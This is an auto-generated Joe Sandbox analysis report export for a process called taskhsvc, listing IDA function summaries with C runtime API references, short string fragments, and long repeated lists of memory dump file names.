Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 0031B05F, Relevance: 9.1, APIs: 6, Instructions: 148

APIs

abort.MSVCRT ref: 0031B0D5
__stack_chk_fail.LIBSSP-0 ref: 0031B24B

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 0031B114
strlen.MSVCRT ref: 0031B140

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

memcpy.MSVCRT ref: 0031B1E5
memcpy.MSVCRT ref: 0031B215

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002BFAA4, Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342

APIs

Part of subcall function 00319B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,003145AC), ref: 00319B69

Part of subcall function 002E053F: strlen.MSVCRT ref: 002E05C4
Part of subcall function 002E053F: abort.MSVCRT ref: 002E094B
Part of subcall function 002E053F: abort.MSVCRT ref: 002E0A3E
Part of subcall function 002E053F: strcmp.MSVCRT ref: 002E0A56
Part of subcall function 002E053F: __stack_chk_fail.LIBSSP-0 ref: 002E0E2A

Part of subcall function 0031FB67: abort.MSVCRT ref: 0031FBC3
Part of subcall function 0031FB67: abort.MSVCRT ref: 0031FC02
Part of subcall function 0031FB67: abort.MSVCRT ref: 0031FC41
Part of subcall function 0031FB67: abort.MSVCRT ref: 0031FCEC
Part of subcall function 0031FB67: __stack_chk_fail.LIBSSP-0 ref: 0031FD78

Part of subcall function 0031FA81: abort.MSVCRT ref: 0031FAD7
Part of subcall function 0031FA81: abort.MSVCRT ref: 0031FB16
Part of subcall function 0031FA81: __stack_chk_fail.LIBSSP-0 ref: 0031FB60

free.MSVCRT ref: 002BFC97

Part of subcall function 0031A905: abort.MSVCRT ref: 0031A95C
Part of subcall function 0031A905: abort.MSVCRT ref: 0031A99A
Part of subcall function 0031A905: abort.MSVCRT ref: 0031A9DE
Part of subcall function 0031A905: __stack_chk_fail.LIBSSP-0 ref: 0031AA35

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 002C13B7: free.MSVCRT ref: 002C166E
Part of subcall function 002C13B7: free.MSVCRT ref: 002C1698
Part of subcall function 002C13B7: free.MSVCRT ref: 002C16DA
Part of subcall function 002C13B7: free.MSVCRT ref: 002C1731
Part of subcall function 002C13B7: free.MSVCRT ref: 002C178E
Part of subcall function 002C13B7: __stack_chk_fail.LIBSSP-0 ref: 002C17A8

free.MSVCRT ref: 002BFE2B

Part of subcall function 0031FF4B: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,002BFE7E), ref: 00320007
Part of subcall function 0031FF4B: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,002BFE7E), ref: 0032002B
Part of subcall function 0031FF4B: __stack_chk_fail.LIBSSP-0 ref: 00320045

__stack_chk_fail.LIBSSP-0 ref: 002BFFCF

Part of subcall function 002B3F06: abort.MSVCRT ref: 002B3F62
Part of subcall function 002B3F06: __stack_chk_fail.LIBSSP-0 ref: 002B3F72

Part of subcall function 0031FA42: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,002BFBC0), ref: 0031FA7A

Part of subcall function 002B2B73: __stack_chk_fail.LIBSSP-0 ref: 002B2C58

Part of subcall function 0033479D: __stack_chk_fail.LIBSSP-0 ref: 0033481C

Part of subcall function 002BEC52: __stack_chk_fail.LIBSSP-0 ref: 002BEC82

free.MSVCRT ref: 002BFF60

Part of subcall function 00319B70: free.MSVCRT ref: 00319BA5
Part of subcall function 00319B70: free.MSVCRT ref: 00319BC7
Part of subcall function 00319B70: __stack_chk_fail.LIBSSP-0 ref: 00319BE1

Part of subcall function 002BFFD6: strerror.MSVCRT ref: 002C005A
Part of subcall function 002BFFD6: strerror.MSVCRT ref: 002C026C
Part of subcall function 002BFFD6: __stack_chk_fail.LIBSSP-0 ref: 002C0321

Strings

, xrefs: 002BFEEA

Memory Dump Source

Source File: 00000013.00000002.1855196147.00290000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002E689C, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 121

APIs

Part of subcall function 002E3AE2: abort.MSVCRT ref: 002E3B68
Part of subcall function 002E3AE2: abort.MSVCRT ref: 002E3BBD
Part of subcall function 002E3AE2: __stack_chk_fail.LIBSSP-0 ref: 002E3BD0

__stack_chk_fail.LIBSSP-0 ref: 002E6A44

Part of subcall function 002E566D: abort.MSVCRT ref: 002E56DD
Part of subcall function 002E566D: abort.MSVCRT ref: 002E572A
Part of subcall function 002E566D: abort.MSVCRT ref: 002E577F
Part of subcall function 002E566D: free.MSVCRT ref: 002E5D20
Part of subcall function 002E566D: free.MSVCRT ref: 002E5D42
Part of subcall function 002E566D: __stack_chk_fail.LIBSSP-0 ref: 002E5E18

free.MSVCRT ref: 002E69C6

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 002E69FE

Part of subcall function 002E40B6: free.MSVCRT ref: 002E40F9
Part of subcall function 002E40B6: free.MSVCRT ref: 002E4122
Part of subcall function 002E40B6: free.MSVCRT ref: 002E4145
Part of subcall function 002E40B6: __stack_chk_fail.LIBSSP-0 ref: 002E4167

Part of subcall function 002E5E1F: abort.MSVCRT ref: 002E5EB5
Part of subcall function 002E5E1F: abort.MSVCRT ref: 002E5F0A
Part of subcall function 002E5E1F: strcmp.MSVCRT ref: 002E5F50
Part of subcall function 002E5E1F: free.MSVCRT ref: 002E5F72
Part of subcall function 002E5E1F: __stack_chk_fail.LIBSSP-0 ref: 002E6077

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

h(F, xrefs: 002E698D
D,F, xrefs: 002E69E6

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 002E6A4B, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94

APIs

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 002E6AAF
abort.MSVCRT ref: 002E6B04
__stack_chk_fail.LIBSSP-0 ref: 002E6B81

Part of subcall function 002E62A9: abort.MSVCRT ref: 002E6320
Part of subcall function 002E62A9: abort.MSVCRT ref: 002E6375
Part of subcall function 002E62A9: free.MSVCRT ref: 002E6448
Part of subcall function 002E62A9: __stack_chk_fail.LIBSSP-0 ref: 002E646D

Strings

h"F, xrefs: 002E6AE4
P,F, xrefs: 002E6AEC

Memory Dump Source

Source File: 00000013.00000002.1855329417.002DC000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001E34DB, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69

APIs

Part of subcall function 0032107E: abort.MSVCRT ref: 003210D1
Part of subcall function 0032107E: malloc.MSVCRT ref: 003210E9
Part of subcall function 0032107E: exit.MSVCRT ref: 0032112A
Part of subcall function 0032107E: __stack_chk_fail.LIBSSP-0 ref: 0032113D

abort.MSVCRT ref: 001E35A1
memset.MSVCRT ref: 001E35BC
__stack_chk_fail.LIBSSP-0 ref: 001E35CF

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Strings

cA, xrefs: 001E3589
kPA, xrefs: 001E3581

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00287767, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59

APIs

abort.MSVCRT ref: 002877D7

Part of subcall function 003EC2B0: abort.MSVCRT ref: 003EC2FD
Part of subcall function 003EC2B0: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,001C1AEF), ref: 003EC312

event_new.LIBEVENT-2-0-5 ref: 00287805
__stack_chk_fail.LIBSSP-0 ref: 00287861

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

abort.MSVCRT ref: 00287850

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Strings

d, xrefs: 00287840

Memory Dump Source

Source File: 00000013.00000002.1855138358.00267000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00321282, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51

APIs

abort.MSVCRT ref: 003212DB
